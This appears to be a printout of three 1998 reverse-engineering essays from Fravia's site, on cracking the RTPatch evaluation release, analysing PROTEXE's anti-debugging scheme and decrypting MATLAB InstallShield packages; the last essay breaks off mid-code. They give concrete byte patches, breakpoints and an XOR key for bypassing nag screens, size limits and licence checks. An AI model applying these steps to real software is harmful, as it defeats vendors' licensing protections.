http://www.instinct.org/fravia/undtron1.htm (4 of 4) [2/7/2001 3:12:02 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

Patching the Patcher: Cracking .RTPatch


Professional
4.00 Eval Release - (Fun with packed files)
by snickers , 9 January 1998
f Courtesy of Fravia's page of reverse engineering
A nice addition for our unpacker section. I like essays that "show the way" for others to learn instead
of presenting a boring 'how I cracked this specific proggy' code-heavy almost useless essay.
As if real reversers would care at all about specific programs... the ones I enjoy most to crack myself
(for instance) are 8 years old DOS programs on 5.25 old floppies...
Once more: almost every soul perusing this site is looking for 'ideas' and/or 'approaches', in order to
reverse on his own targets' code snippets (and not necessarly protection schemes!) that are completely
different from the ones you might have choosen for your essay... if you are looking for ready made
fravia's
comments 'cracks', in order to steal some software and use it for free without paying enough money to the
shareware Author to let him buy milk for his kids (with Micro$oft's slaves it's different, let's hope their
kids starve) then go ELSEWHERE, you'll find enough stolen warez and 'crackz for lamerz' almost
everywhere on the web, and you should not be here at all.
OK, hope you understood me, now enjoy this essay... at times I'm very happy to see that my site has
been useful to some clever reverser...
A last thing: I love snickers' methodical approach... even if this patching patched patchers seems -at
times- a little patchy :-)
There is a crack, a crack in everything
f
That's how the light gets in
(x)Beginner (x)Intermediate ( )Advanced ( )Expert
Rating An 'all around' cracking exercise with DOS, Win16, Win32, and even packed EXE targets,
demonstrating nag screens and a unique but simple file header protection scheme.

Patching the Patcher: Cracking .RTPatch Professional


Title
(4.00 Eval Release)
Written by snickers
Fravia:
the best way I feel I could show my gratitude for what
I have learned from your page and the tens of other good
cracking resources I have come across would be to come
up with something substantial of my own to contribute
to the cracking world. Thus I have remained silent until
now, honing my basic cracking skills that one day, I may
Introduction
be worthy enough to join the ranks of the +HCU.

For now, I submit this essay on a very simple protection


scheme I found. Despite being simple it has certain
unique facets that make it more than 'banal'. Also,
it is a tool (or a set of tools) that could be handy

http://www.instinct.org/fravia/snicke1.htm (1 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

for any +cracker.

To follow along with this essay, you need:

Tools:
SoftICE (3.x for Win95, as well as 2.x for DOS)
Tools Hacker's View v.5.66 (or any other hex editor with
Required on-the-fly disassembly)
Tron v.1.30 (see The Undertacker's essay about tron)

~
Our target: rtpsetup.exe (2,228,694 bytes) you can hopefully still get copies at
http://www.pocketsoft.com

About our target:

.RTPatch Professional is a commercial patching


engine. It comes with several utilities that aid
in software modification and distribution, such
as a file compare tool, string and byte searching
utils, complete with a file archiving system that
allows the creation of self-extracting setup files.
Of course, the main product here is the patching
engine, which compares files (or a set of files)
and produces a binary patch file to allow software
developers to quickly make and distribute software
updates or bug patches.

This tool is especially useful for beginning crackers


like myself who do not yet have the capability of
programming their own patch files or even for
crackers who are experienced in programming but are
too busy to write a patch file for every software
they crack. The crack files written by +crackers
themselves are often far more efficient (especially
in terms of file size) and already you may find
+cracker written patch generators/engines all over
the web. I have already seen crack patches made by
this program on the web, and the hundred plus KB size
was a monster to download compared to the other 2 KB
crack files. So what's so great about .RTPatch?

For starters, patches by .RTPatch are really small,


Program about a few hundred bytes. It's the patch apply
History programs which are relatively big (62 KB for DOS,
149 KB for Win32), and this is because these patch
apply programs have many fully customizable options.
Windows based patches can be made in an instant,
complete with a GUI (it's a bloated DLL file which

http://www.instinct.org/fravia/snicke1.htm (2 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

accounts for the size mentioned). .RTPatch is easy


to use, and one of it's best features in my opinion
is ease of multiple file patching, along with add
and remove file capabilities. But you can read
about this and other features in the complete
documentation that comes in the distribution file,
so enough of that here.

The most important thing about .RTPatch is that it


seems to be the defacto standard for binary file
patching in the commercial software world. What
makes me say this? Patches for Adobe and Symantec
applications use .RTPatch, as well as many other
corporate and non-corporate software developers
listed on Pocketsoft's web site. So when these
companies issue patches for their software, having
the utilities they used to make their patches with
will enable us to reverse engineer them. (May I
suggest the reverse engineering of RTP files as a
future +HCU Project?) Lastly, it would pretty damn
ironic for us to be cracking and patching those
commercial applications with the same commercial
utility they're all using. Let's use their own
tools against them.

The Protection

The .RTPatch Professional Evaluation Release is a fully


functional version with all the tools and documentation
included. The evaluation period is for 30 days, but
Pocketsoft was probably counting on your honor because
the software doesn't seem to expire. I've changed my
date ahead as far as the year 2099 and it still works
without handicap. There seems to be two apparent
'protections' on this evaluation version:

1) There is an annoying nag screen/message every time


the patch build and patch apply programs for all
platforms (DOS, Win, Win32) are invoked.

2) According to the documentation, the eval release is


not capable of processing files larger than 25 megabytes.

These cracks are so simple that I won't even be putting


a line of code for them here. I guarantee you, however,
you will have fun, since .RTPatch is multi-OS and
presents an opportunity to review your cracking skills
in DOS, Win16 and of course, Win32. But here are the

http://www.instinct.org/fravia/snicke1.htm (3 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

guideline hints - this is, after all a cracking essay:

-The nags appear in 9 programs which need to be patched. These are:


PATCHBLD.EXE the Win32 Console App which generates
the .RTPatch files
PBLD-V16.EXE the standard DOS version of PATCHBLD
PATCHW32.DLL the Win32 DLL for Console and GUI Patch
Apply Programs (the nag is in this DLL
and not the Apply Programs)
PATCHW.DLL this is the DLL for the Win16 GUI
Patch Apply.

.RTPatch has an EZPatch system which allows you to


bind the patch file and the apply program into a
single executable patching file. It uses DAT files,
which are really modified versions of the corresponding
standard EXE and DLL files with DAT extensions.
EZPNTDLL.DAT the 'bindable' version of PATCHW32.DLL
EZPDLL.DAT the 'bindable' version of PATCHW.DLL
EZP32DLL.DAT a 'bindable' combined graphic GUI and DLL

These two files, we'll deal with later.


PATCHDOS.EXE the DOS Patch Apply Program
EZPDOS.DAT the 'bindable' version of PATCHDOS

-PATCHBLD.EXE is a Win32 Console App and thus uses


standard Win32 APIs. Its nagscreen occurs as a
message box. Using SoftICE, bpx MessageBoxA and
you'll find the call. NOPping this call will get
rid of the call. Secondly, the 25 MB limit can be
taken care of here. Running PATCHBLD with any two
files larger than 25 MB will yield the error message
(I used my DriveSpace Compressed Volume Files).
Step the program to the error message display. A
few instructions before that you will find a CMP
with 19h (25) and a JGE. You know what to do.

-While you're still in Windows, crack the two DLL


files. FIrst, make a patch file using an original
copy of the nagged, limited PATCHBLD and your newly
patched one, using PATCHBLD itself. Next, use the
Win32 Patch Apply GUI (there's an icon in your Start
Menu) to apply the RTP file you just made. A message
Box will appear. Your bpx on MessageBoxA from your
last crack will catch it, and just NOP the call to
the API in PATCHW32.DLL. There will be no more nag.

-PATCHW.DLL is cracked similarly, but remember that


it is 16-bit and uses 16-bit APIs. NOPping the call
this time will crash the program, and so will NOPping
the call that calls the call, so at the top of the

http://www.instinct.org/fravia/snicke1.htm (4 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

routine that calls the nag force an early RETF by


changing the first byte to a CBh. It's cracked.

-EZPNTDLL.DAT and EZPDLL.DAT are not exactly like


their standard DLL counterparts, but they're similar
enough that all you have to do is search the same
sequences of bytes that you NOPped in PATCHW32.DLL
and PATCHW.DLL and NOP them too.

-When you're done with all this, you can leave Window$
to crack PBLD-V16.EXE. I know that you can load DOS
programs into SoftICE 3.x in Windows but it always
crashed on me so I decided that I would just crack it
in DOS. Load it into SoftICE 2.x and step to the
message. You'll be dragged throgh a lot of procedures
to get to the nag routine, so be prepared to step into
them. Eventually you'll find the right one - RETF the
first byte of the called procedure to skip the nag.
There are actually 2 patch creation programs for DOS -
the standard PBLD-V16.EXE and the enhanced, faster
PBLD-DX.EXE, both of which have nags. However, after
patching PBLD-V16.EXE, you won't need to patch PBLD-DX.EXE
anymore since the nag there also goes away.

By this point, most of the nags are gone and it probably


took you more experienced crackers about 10 minutes or less.

More Protection?

Well, I tried my newly nag-free Patch apply program on a


commercial software update .RTP file and I got an error
message 'Invalid Patch FIle.' But most companies are
still using .RTPatch version 3.20, like the patch file I
was trying to use, and I figured the error was just due
to a version incompatibility.

PATCHDOS.EXE is a packed EXE file, and all the tools


I've gathered off the web say it's an unknown packer.
Rather than go through the trouble of unpacking this
compressed exe just for a simple nag, I went back to
the Pocketsoft web site. In their downloads area I
found that PATCHDOS.EXE 4.00 was available for free
download. Excitedly I got this 63 KB file and rejoiced
when I found it had no nag screen. But when I tried it
on the patch files I made using PATCHBLD.EXE I got
another 'Invalid Patch File' message. Perhaps it only
works with patches made with the DOS programs, I thought.
But even with patches created with PBLD-DX and PBLD-V16
I got the same error. Could it be that my patching of
T the nagscreens caused the patch builders to churn out

http://www.instinct.org/fravia/snicke1.htm (5 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

defective patch files?


H
The answer was no. The RTP files I had made worked well
E with Patch Apply Programs SUPPLIED WITH THE EVAL RELEASE!
I then tried the commercial version 3.20 RTP file with
the new PATCHDOS.EXE 4.00 that I had acquired. It
worked perfectly!
E So that is why the Evaluation Release of .RTPatch
S Professional 4.00 was seemingly so poorly protected!
The Eval Release doesn't work with the Licensed
S Release -- at least, it's not supposed to. If that
is the case, yes, we've cracked .RTPatch and can now
A make our own patches without any annoying nags, BUT,
how can we work with the RTP files of the commercial
Y software makers? Must we buy this extremely overpriced
patch engine to reap all its benefits? Overpriced, of
course, since there are dozens of FREE utilities on
the web that do the same thing - written by +crackers,
for +crackers.

The answer is also no. And if you're the type that doesn't
give up easily, you'll soon discover that the crack for
this part of the protection is very easy. In fact, you
can give your SoftICE a rest and enter the battlefield
armed only with a hex editor.

There are two things to consider as we tackle this problem:

1) The Patch Building System has to be capable of


writing a RTP file that is recognizable to the Patch Apply System.

2) The Patch Apply System must have a method for


recognizing a valid RTP file.

Since you're probably still in DOS, you had best stay


there for the moment. This session will end in DOS.
However, I made this observation in Window$, since my
Windows Hex Editor (Hex Workshop) allowed me to look
at several files at once. I loaded a few of the
commercial RTP files I had, and then a few of the RTP
files I had made. The file contents were different,
but I noticed that the headers of all the RTP files
were the same -- except for one thing. The files I
had made with the Eval Release all began with EE 76 90 01,
while the commercial RTP files I had began with 4B 2A 40 01.
The Patch Apply Programs were reading in these first 4 bytes
to determine whether or not the RTP file was valid.
Testing this theory by editing the bytes worked.

At this point a simple solution would be to generate a

http://www.instinct.org/fravia/snicke1.htm (6 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

patch or write a program that would be capable of


searching EE 76 90 01 and replacing with 4B 2A 40 01
and vice versa to allow any patch file to work with
either the Eval or the Licensed Versions. But this
would be cumbersome and inconvenient. Besides, I want
the full product.

Fire up Hacker's View and switch to disassembly view.


Starting with PBLD-V16.EXE, we first search for
instances of EE 76 90 01. No luck. Reversing the
byte order also turns up nothing. Then you search for
3 of the bytes in sequence. Also no luck. But
searching for EE 76 turns up two spots. Searching
for 90 01 turns up thirteen. How do we know which
ones to patch? Time for the Zen part.

We're using Hacker's View since it can display in assembly.


As a result we can jump over red herrings and fish out the
right instructions. The first instance of EE 76 is a CMP
instruction. We know that this cannot be our target
because a CMP would not lead to writing on a RTP file.
The second one reads:

00043E44: C746FAEE76 mov w,[bp][-0006],076EE

A MOV instruction would be very likely in writing that


sequence to the RTP file. You then replace EE 76 with
4B 2A, the first 2 bytes of a licensed file header.
Scanning over the 13 occurrences of 90 01, only one is
a MOV. Replace the appropriate bytes with a 40 01.
Update the file and quit.

Using your newly patched PBLD-V16, you make a RTP file.


Loading the product into your hex editor, you find that
the first 4 bytes read 4B 2A 40 01. You also try the
file with that standard issue PATCHDOS from Pocketsoft's
web site. It recognizes your RTP file and everything
works! And as with the nag, there is no need to patch
PBLD-DX.EXE.

But we still have to patch PATCHBLD.EXE. Use the same


technique to find the proper locations to patch. Another
thing to patch is the Recognition System in the Patch
Apply Programs. The Recogintion system is patched the
same way, only the telltale instruction is CMP. Search
for the culprit in the 2 DLL files and their DAT
counterparts -- you'll find them quickly since the CMP
instructions for EE 76 and 90 01 are close to each other.
Also, you will need to patch PBIND.EXE so that it can
recognize a valid RTP file, but you only need to look for
the EE 76 string - that's all it compares.

http://www.instinct.org/fravia/snicke1.htm (7 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

Fun with Packed Files

.RTPatch has been a complete cracking package - cracking


nags in DOS, Win16 and Win32, as well as that nifty
recognition protection scheme. But after playing with
your cracked .RTPatch Pro, it won't be long before you
realize you can't make nag-free EZPATCH single file
patches for DOS. And those are the smallest kind - the
most convenient for distribution. What are you going to
do about it? EZPDOS.DAT is a modified PATCHDOS.EXE.
Renaming PATCHDOS.EXE to EZPDOS.DAT and then binding it
doesn't work, so what can you do? Well, you've come too
far to quit now. EZPDOS.DAT, like PATCHDOS, is compressed,
which is the exact reason we avoided the hassle of
uncompressing by downloading a different version. But
this time there is no 'other version' and we're stuck
with this nagged one. Not for long. Go check out the
+HCU Project on unpackers and Packed-EXE's -- nothing's
impossible.

Get your copy of Tron 1.3 out. Even though it's compressed
with an unknown packer, we can still uncompress EZPDOS.DAT
using Tron's universal decompressor. First, rename
EZPDOS.DAT to EZPDOS.EXE. Then you can use Tron like this:

tron -u EZPDOS.EXE

EZPDOS has an overlay, so Tron asks if it should remove it.


Answer Yes - EZPDOS still (seems to) runs without it.
After a while you have an unpacked EZPDOS. Load up
SoftICE 2.x (you're still in DOS, right?) and get rid of
the nag screen like you did all the others. You'll also
need to look for those Eval recognition bytes and change
them to Licensed bytes. Now everything works perfect, but
EZPDOS is no longer as slim as it used to be. You can
re-pack your cracked version with any EXE compressor
(I used PKLITE Shareware) and afterwards rename the file
back to EZPDOS.DAT.

http://www.instinct.org/fravia/snicke1.htm (8 of 9) [2/7/2001 3:12:08 PM]


Patching the Patcher: Cracking .RTPatch Professional 4.00 Eval Release

Conclusion

Together we've cracked .RTPatch Pro. Let's summarize:


PATCHBLD.EXE cracked Nag, 25MB limit and Header Write
PBLD-V16.EXE cracked Nag and Header Write
PATCHW32.DLL cracked Nag and Recognition
PATCHW.DLL cracked Nag and Recognition
EZPNTDLL.DAT cracked Nag and Recognition
EZPDLL.DAT cracked Nag and Recognition
EZP32DLL.DAT cracked Nag and Recognition
PATCHDOS.EXE replaced with Nagless version from website
EZPDOS.DAT Unpacked EXE, cracked Nag and Recognition
Final Notes
PBIND.EXE cracked Recognition

The fun conclusion to this essay is to gather copies


of the original files in one directory, and copies of
the patched files in another one. Now you can use
.RTPatch's PATCHBLD to make an RTP file that removes
the protection on itself! Don't worry about PATCHDOS.EXE
and EZPDOS.DAT. PATCHBLD can detect that the new versions
are completely different from the originals and will provide
for a file replace in the RTP file - this program is great!

Didn't I say this would be easy?


(c) snickers 1998, all right reversed
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
Ob duh
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:

way out
Back to Packers and Unpackers
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/snicke1.htm (9 of 9) [2/7/2001 3:12:08 PM]


banda7.htm: PROTEXE - EXPLORING A PARANOID PROTECTION SCHEME

PROTEXE V2.11 - by TOM TROFS


EXPLORING A PARANOID PROTECTION SCHEME Packers and Unpackers

by The Undertaker, 13 January 1998


(edited, more than slightly, by fravia+)
f Courtesy of Fravia's page of reverse engineering
Our Srilankan friend (and major contributor) is alive and kicking, once more working on the packers and
unpackers project (I advice anyone to read The Undertaker's previous very good essay about good powerful
TRON). The Undertaker will show you through this essay that you would be well advised to stop whining and
fravia's complaining about "too easy protection schemes" and start having a look at the exe protectors. Those nice
comments (mostly dos based, for obvious power reasons) programs that should avoid exefiles reversing. The EXE
protectors themselves, of course, must use heavy anti-debugging tricks in order NOT to be reversed, as you will
see in this very interesting essay... -alas for the protectors- the +HCU cannot allow anything to merrily run
wild and unreversed around for all too long :-)
There is a crack, a crack in everything
f
That's how the light gets in
( )Beginner (x)Intermediate (x)Advanced ( )Expert
Rating An understanding of common dos cracking techniques is a pre-requisite. Don't even try to follow this if you are
a beginner (in that case mark it and come back later).

PROTEXE V2.11 - by TOM TROFS


Title
EXPLORING A PARANOID PROTECTION SCHEME
Written by The Undertaker
Intro No introduction
Debugger (SoftIce 2.80)
Tools Hexeditor
Required Brain
Of course, you may choose any other tools you like.
Program
History No history

PROTEXE V2.11 - by TOM TROFS


EXPLORING A PARANOID PROTECTION SCHEME
BY
THE UNDERTAKER -=BANDA=-

After a long period of busy schedule finally I managed to


start again my reverse engineering essays.

http://www.instinct.org/fravia/banda7.htm (1 of 6) [2/7/2001 3:12:12 PM]


banda7.htm: PROTEXE - EXPLORING A PARANOID PROTECTION SCHEME

Today we will explore another EXE protector, called PROTEXE.


Exploring EXE protectors you will learn a lot, believe me.
This happens because normally they use good encription &
anti debugging tricks. In fact a reversed exe protector is
not a protector any more, so they would like not to be
reversed... so simple is that :-)
Therefore stop complaining about too easy protection schemes
and pull up your sleeves, you lazy crackers... tackle exe
protectors (and learn how to work in mighty DOS/UNIX,
forgetting the mostly useless windoze's razzmatazz).
EXE protectors use most of the time interesting tricks like
Vector replacement, and/or
Self modifying code, and/or
Various other anti debugging tricks.
Moreover some of them uses very good protection schemes.
Truly hard to crack those targets, at time.
Ok, that's nice, lets get to work.

First: download here TOM TROFS' PROTEXE program (version 2.11


shareware, of course uncracked).

Second: protect a EXE file using PROTEXE, so that we have


an own made target's example.
Now let's set up our favorite tool: soft-ice 2.80 (the
working version! There exists another, "crashing" version
which roams the web... same length, just many minor "bytes
differences"... to know which one you have fished out the net,
just try it out a little, if it does not crash it's the good
one, duh).

Load your protected EXE file using Symbolic Loader (LDR).

LDR lha.exe

Now you are in Soft-Ice window, Before we analyse the code we


need to study the X86 flag register.

FLAGS - Intel 8086 Family Flags Register

1110FEDCBA9876543210
CF Carry Flag
1
PF Parity Flag
0
AF Auxiliary Flag
0
ZF Zero Flag
SF Sign Flag
TF Trap Flag (Single Step) ***
IF Interrupt Flag
DF Direction Flag
OF Overflow flag
IOPL I/O Privilege Level (286+ only)
NT Nested Task Flag (286+ only)

http://www.instinct.org/fravia/banda7.htm (2 of 6) [2/7/2001 3:12:12 PM]


banda7.htm: PROTEXE - EXPLORING A PARANOID PROTECTION SCHEME

0
RF Resume Flag (386+ only)
VM Virtual Mode Flag (386+ only)

Ok, lets explore the first few instructions in the protected program....

XXXX:0147 9C PUSHF -- Save The Flag Register


XXXX:0148 9C PUSHF -- Pushed again to get into AX
XXXX:0149 58 POP AX -- AX Contains Current Flag Settings
XXXX:014A 25FF0F AND AX,0FFF -- Discard upper 4 nibbles (msb)
XXXX:014D 50 PUSH AX -- Save modified flags
XXXX:014E 9D POPF -- Use modified Flags.
.
.
.
.
XXXX:0159 9C PUSHF
XXXX:015A 58 POPF
XXXX:015B 25FF0F AND AX,0FFF -- Discard Upper 4 niblles
XXXX:015E 0D0070 OR AX,7000 -- If TF is on, Off it
XXXX:0161 50 PUSH AX
XXXX:0162 58 POPF

Well, the above part is just there in order to disable the Trap Flag.
If the Trap Flag is on the processor, then switch back to single
step mode.
Most "universal" Unpackers use this method to trace through the code.
Ok lets analyse the code further down.

XXXX:016A BA6400 MOV DX,064


XXXX:016D BOAD MOV AL,AD
XXXX:016F EB01 JMP 172 -- ***
XXXX:0171 88EE MOV DH,CH

The purpose of the above part is to disable the keyboard. But as you
can see there is a jump! It is directed to
OFFSET:172.
In the code there is no 172 whatsoever. Semms like it is
jumping to the second part of mov dh,ch... what's happening?

Ok it is a self modifying stuff code snippet in here.


The EE at 172 is an Opcode for OUT DX,AL.
See DX & AL setup for the keyboard disable.
out dx,al outputs byte al to the port number in dx.
Output to any port from 0 to 65535 is performed by
placing the port number in the DX register and then
using an OUT instruction with dx as the first operand.
T But there is no OUT DX,AL.
We will check the jump then.
It is directed to 172.
H In offset 172 you will find the opcode EE.

http://www.instinct.org/fravia/banda7.htm (3 of 6) [2/7/2001 3:12:12 PM]


banda7.htm: PROTEXE - EXPLORING A PARANOID PROTECTION SCHEME

Here you can understand what's going on:


E once executed the jump, the code changes to
OUT DX,AL.

Code MOV DH,CH has no effect until the jump instruction


E has been executed.
This was just an easy example: within the code of oir target
you will find a lot of these JMP's directed to OUT DX,AL.
S Let's ignore all of them and countinue our journey.

XXXX:0186 33C0 XOR AX,AX


S XXXX:0188 8ED8 MOV DS,AX
XXXX:018A FF360C00 PUSH [000C]
XXXX:018E FF360E00 PUSH [000E]
A XXXX:0192
XXXX:0195
B84602
A30C00
MOV
MOV
AX,246
[000C],AX
-- **

XXXX:0198 8C0E0E00 MOV [000E],CS


Y Ok, Check above code. Mmmm It seems to be a Vector replacement for
interrupt 3.
Yes it is, Most of the debuggers & universal unpackers uses int 3.
Replacing the int3 code to something else may hang these type of
debuggers & unpackers.
Let us check what is replacing the existing int 3 code.
The new interrupt service routine for int 3 is located at
CS:246 (chek the code).

Normally Int3 code has only an IRET instruction.


Lets check the new int3 ISR...

U 246

XXXX:0246 8ED8 MOV DS,AX


XXXX:0248 CF IRET

In here int3 used to copy the contains of AX to DS..


Let's explore the code again..

If you are going through the code, You will find lot of Keyboard
disable routines & interrupt masking (keyboard Int masking) routines
inside our target.
Bypass all of them (I think everybody knows to bypass such lame
tricks, if not go raed some basic cracking stuff and come back
later) and next you will landed on a CRC checking routine.

Man, we'll have seen the complete PPPP (Paranoid Programmer Protection
Palette)by the end of this essay!

Go through the code until you find the following:

XXXX:020B 81FEF78A CMP SI,8AF7


XXXX:020F 72B0 JB 1C1
XXXX:0211 PUSH DX -- **

http://www.instinct.org/fravia/banda7.htm (4 of 6) [2/7/2001 3:12:12 PM]


banda7.htm: PROTEXE - EXPLORING A PARANOID PROTECTION SCHEME

Put a Break Point on XXXX:0211.


Otherwise it will loop you a long time until SI=8AF7.

BPX 211 & go (F5)

Again you will see a lot of silly keyboard & interrupt Enable
routines inside the code window.
Steady ahead! Go through the code until you see the following...

XXXX:022E 81FA2877 CMP DX,7728


XXXX:0232 7415 JZ 249 -- **

This part checks a calculated CRC with the program contains.


If everything matches all nice guys go ahead.
Else you will land inside a CRC failed message & dumped into
dos. ("Beggar off")
Mmmm... not a nice solution for people that have so patiently
studied this nice paranoid code so far, is it?

Ok, go through the code until you see the following.

XXXX:02D2 EB01 JMP 2D5


XXXX:02D4 88EE MOV DH,CH
XXXX:02D6 EA0000C615 JMP 15C6:0000 -- *******

The FAR JMP above will take you to the original code of
your programm...

Well in this PROTEXE you have seen (and will find if you decide
to work a little on it) different types of protection methods.
They are..

# FLAG register Masking. (TF MASK)


# Vector Replacement.
# Keyboard & interrupt Masking.
# Self Modifying Code.
# CRC Checking.

The above methods are fairly good, if very common. The only real
problematic thing for the Author, here, seem to be the implementation
lacks.
I think that the Coder only tried to protect the program from LAMERS.
Otherwise he could and should have implemented the program's protection
schemes better than that. C'mon, we are sure you can do better next
time.

I think that all the protection writers should try to think -at least-
twice about what they are doing BEFORE plannning and writing their
protection schemes.
It is true this is the dammn silly windows' age, but there are still
some good reverse engineers in this world... and what's the point of
scaring a couple of lamers off. Either you DO NOT protect, which is
a very honorable way of spreading very good software, see filemon as
an example, or, if you do protect, try one more solide protection

http://www.instinct.org/fravia/banda7.htm (5 of 6) [2/7/2001 3:12:12 PM]


banda7.htm: PROTEXE - EXPLORING A PARANOID PROTECTION SCHEME

instead of a plethora of old tricks alltogether. Quantity has never


won against quality.

Ok, for your experiments and joy now, dear readers,


Using a hex editor you just need to change a few opcodes in
this program, following the lines given above.
Find those opcodes and change them.
Then use good powerful TRON to unpack it.
Shhhhh! How easy and interesting...
If you have any problems contact me...

I would like to read your comments.


You can write to me on following email address..

undertakerd@hotmail.com

NOTE - If you compressed the program before running protexe. Then the above
OFFSET address couls be different. Also you can download the PROTEXE
program (version 2.11 shareware) from FRAVIA's PAGE, here, of
course uncracked.

Thanks goes to +ORC and all HCU+ guys.

Next time we'll move to a different type of a protector.


Until then..........
REST IN PEACE
The Undertaker -=BANDA=- //SRI LANKA//
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
Ob duh period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.
Final No final notes
Notes

You are deep inside fravia's page of reverse engineering, choose your way out:

way out Back to PAckers and Unpackers


homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/banda7.htm (6 of 6) [2/7/2001 3:12:12 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

Reverse Engineering MATLAB 5


Part II: InstallShield Packages Encryption Packers & Unpackers

19 January 1998 by +Aitor


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
InstallShield Packages Encryption... the sound of these words
is so... how can I explain it... tasty? Luscious? Juicy? Well, you
understand what I mean, don't you?
Our friend +Aitor has already given us his first essay about
Matlab: Simple dongle reversing: the 'alien dll date' trick,
fra_00xx
which was part of our "How to undongle" section. Now he
980119
+Aitor 'deepens' our knowledge of Installshield protections, and
0100 therefore this essay will be catalogued inside a new "Objected
NA Oriented Cracking" section if we ever start it... for the moment
PC I have put this among the "packers and unpackers" essays.
Enjoy this essay, a little jewel that without much ado teaches
you 'on the fly', inter alia, how to code a 'little tool of the trade'
to decode the xored-encrypted files that ARE on the CD-ROM
you bought (or got) and that you ARE NOT supposed even to
see or use...
There is a crack, a crack in everything
That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

"A little essay to show beginners and intermediate reversers / programmers how NOT to encrypt their own
programs ..."

Reverse Engineering MATLAB 5


Part II: InstallShield Packages Encryption
Written by +Aitor

Introduction

Second part of this series about reverse engineering MATLAB 5.

Once we have MATLAB 5 running (with or without the dongle ;) we take a

http://www.instinct.org/fravia/aitor_45.htm (1 of 7) [2/7/2001 3:12:18 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

look to the list of installation packages, and something bring us


suspicions about the *real* contents of our CD. Let's take the
InstallShield (un)compressor and search inside the packages ...

"Hey!" -You'll think- "Hey, that's not possible, mate!" ...


... because all the *.Z InstallShield packages in the MATLAB 5 CD-ROM are
encrypted ... therefore ...

No, dear readers: Encryption is indeed one of the most powerful ways to
protect software, but if you're a lazy programmer, even the best
protection techniques will turn stale in your hands, because your mind
won't be merrily pursuing the beauty of a well programmed piece of code,
but it will instead be obsessed by the money you'll earn if you finish
quickly the job ... You don't believe me? Read the following...

Tools required

Your favourite hex editor


Your favourite assembler / compiler (I'll use Borland Pascal v7.0)
InstallShield File Compressor

Target's URL/FTP

The program *iS NOT REQUiRED* to follow the essays. Remember, we are mainly reverse engineers, not only
crackers ... this series will teach you generic protection schemes, it's not my intention to write one more
how-to-crack to an specific application. Anyway, it's commercial software, but (hardly) available in the net if you do
know how to search.

Program History

Not too much to say. A classic among the maths/programming applications, available for different systems. In my
personal software archives (for educational purposes only :) I've got version 3.5f for DOS dated from 1989, then was
a package including PC-Matlab and AT-Matlab, with only a serial number. Latest version I know is the target of this
essay, a CD-ROM including version 5.0 for Win95/NT and version 4.2c.1 for Win32s, both serial number + dongle
protected.
If you want to know more about this product contact with the The MathWorks Web site or connect to one of the
hundreds of Matlab related sites across the net.

http://www.instinct.org/fravia/aitor_45.htm (2 of 7) [2/7/2001 3:12:18 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

Essay

Aurrera with it!

As you have read in the intro, this is our situation: we have a series of
*.Z files that cannot be decompressed with the InstallShield Compressor ...
... aren't they true InstallShield files? are they compressed with a new
unknown version of iS? what the hell is happening here? ... yes, you're
right, they're encrypted !

When a true +reverse engineer finds this kind of protection he thinks "hey,
and what if I try to find the encryption code to rip/reverse the process?"
or even better, taking into consideration the first thing he learnt at
+ORC's School ... "protectionists are stupid!" (OK, some of them are
pretty competent but they are the exception ...).

When you go to your 'Encryption School', the first lesson (OK, may be the
second :) you are teached is probably the lesson about XOR encryption,
that is,

A XOR B = C
C XOR B = A

simple to understand, simple to code ... and simple to decode !

Just before install every *.Z file, our target decodes it in memory and
stores it in the iS temporal directory ... we can change to another task
while installing and copy one of the *.Z *decrypted* files from the
temporary dir to a secure place. Now we have two copies, coded and decoded,
of a package, let's check them ... take your hex editor and compare both
files XORing one with the other (I'll do it with NCD.Z, 'Nonlinear Control
Design Blockset'):

Encrypted : 0e 47 7e 90 27 1b 19 1c 1d 1a 1b 1c 5f 1a 2d 3e
Decrypted : 13 5d 65 8c 3a 01 02 00 00 00 00 00 42 00 34 22
-----------------------------------------------
XOR Table : 1d 1a 1b 1c 1d 1a 1b 1c 1d 1a 1b 1c 1d 1a 1b 1c

you can't believe your eyes, eh? Beginning with $1d each byte is XORed
using a single four bytes table, [$1a,$1b,$1c,$1d], until the end of the
file ... You can try it with any other *.Z file on the CD, you'll get the

http://www.instinct.org/fravia/aitor_45.htm (3 of 7) [2/7/2001 3:12:18 PM]


aitor_45.htm - Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption

same results ...

It's time to take your favourite assembler/compiler and put in practice


your programming knowledge to code a little tool of the trade. Here you
got ready-to-be-compiled BP7 code to decrypt all the *.Z files found in
the current directory (kontuz!, no error checking at all ...):

{------- cut here --------------- cut here --------------------}

Program Matlab_5__InstallShield_Encrypted_Files_Decoder;

Uses
DOS;

Type
TBufferPtr = ^TBuffer;
TBuffer = Array [1..32*1024] of Byte;

Var
EncFile,DecFile : File;
